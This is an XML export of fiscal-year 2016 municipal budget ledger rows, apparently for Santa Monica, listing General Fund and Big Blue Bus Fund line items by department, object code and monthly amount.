<row _id="19038"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577080.0</object><object_description>TMP FEES REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-653497</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-653497</total></row>
<row _id="19039"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404820.0</object><object_description>PROP A SALES TAX</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2016</fiscal_year><july>-12469292</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-12469292</total></row>
<row _id="19040"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>255776</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>255776</total></row>
<row _id="19041"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>577066.0</object><object_description>DELIVERY CHARGES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1500</total></row>
<row _id="19042"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>145047</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>145047</total></row>
<row _id="19043"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7650</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7650</total></row>
<row _id="19044"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400360.0</object><object_description>SMARS SOCIAL PROGRAM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-3500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3500</total></row>
<row _id="19045"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400420.0</object><object_description>SKATE PARK</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-30200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-30200</total></row>
<row _id="19046"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19047"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1538</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1538</total></row>
<row _id="19048"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5272</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5272</total></row>
<row _id="19049"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407501.0</object><object_description>CAPITAL GRANTS-MISC PROJ-TDA</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2016</fiscal_year><july>-7417443</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7417443</total></row>
<row _id="19050"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407516.0</object><object_description>FED CAPITAL GR-REV EQUIP</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2016</fiscal_year><july>-6892783</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6892783</total></row>
<row _id="19051"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522961.0</object><object_description>FUEL-SERVICE VEHICLES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>104550</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>104550</total></row>
<row _id="19052"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400790.0</object><object_description>OUTDOOR DINING-TRANSIT MALL AR</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-93851</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-93851</total></row>
<row _id="19053"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>696712</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>696712</total></row>
<row _id="19054"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>59259</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>59259</total></row>
<row _id="19055"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>23556</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>23556</total></row>
<row _id="19056"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15000</total></row>
<row _id="19057"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>103</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>103</total></row>
<row _id="19058"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>164</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>164</total></row>
<row _id="19059"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11504</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11504</total></row>
<row _id="19060"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1059</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1059</total></row>
<row _id="19061"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>562106</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>562106</total></row>
<row _id="19062"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>71653</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>71653</total></row>
<row _id="19063"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="19064"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>75000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>75000</total></row>
<row _id="19065"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4993</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4993</total></row>
<row _id="19066"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7700</total></row>
<row _id="19067"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>28560</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>28560</total></row>
<row _id="19068"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>555061.0</object><object_description>OUTSIDE AUDIT EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>32640</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>32640</total></row>
<row _id="19069"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1175018</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1175018</total></row>
<row _id="19070"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522315.0</object><object_description>MULTIMEDIA</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12400</total></row>
<row _id="19071"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522546.0</object><object_description>MEDIA BUYS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="19072"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>17936</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17936</total></row>
<row _id="19073"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522545.0</object><object_description>AD SALES (BBB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19074"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522545.0</object><object_description>AD SALES (BBB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19075"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19076"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>35319</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>35319</total></row>
<row _id="19077"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2154</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2154</total></row>
<row _id="19078"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>866</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>866</total></row>
<row _id="19079"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1512</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1512</total></row>
<row _id="19080"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>300000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>300000</total></row>
<row _id="19081"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4449</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4449</total></row>
<row _id="19082"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3487</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3487</total></row>
<row _id="19083"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>560000.0</object><object_description>COMMUNITY DEVELOPMENT PROGRAM</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7386032</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7386032</total></row>
<row _id="19084"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>256942</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>256942</total></row>
<row _id="19085"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511744.0</object><object_description>MED TRUST - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>81069</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>81069</total></row>
<row _id="19086"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
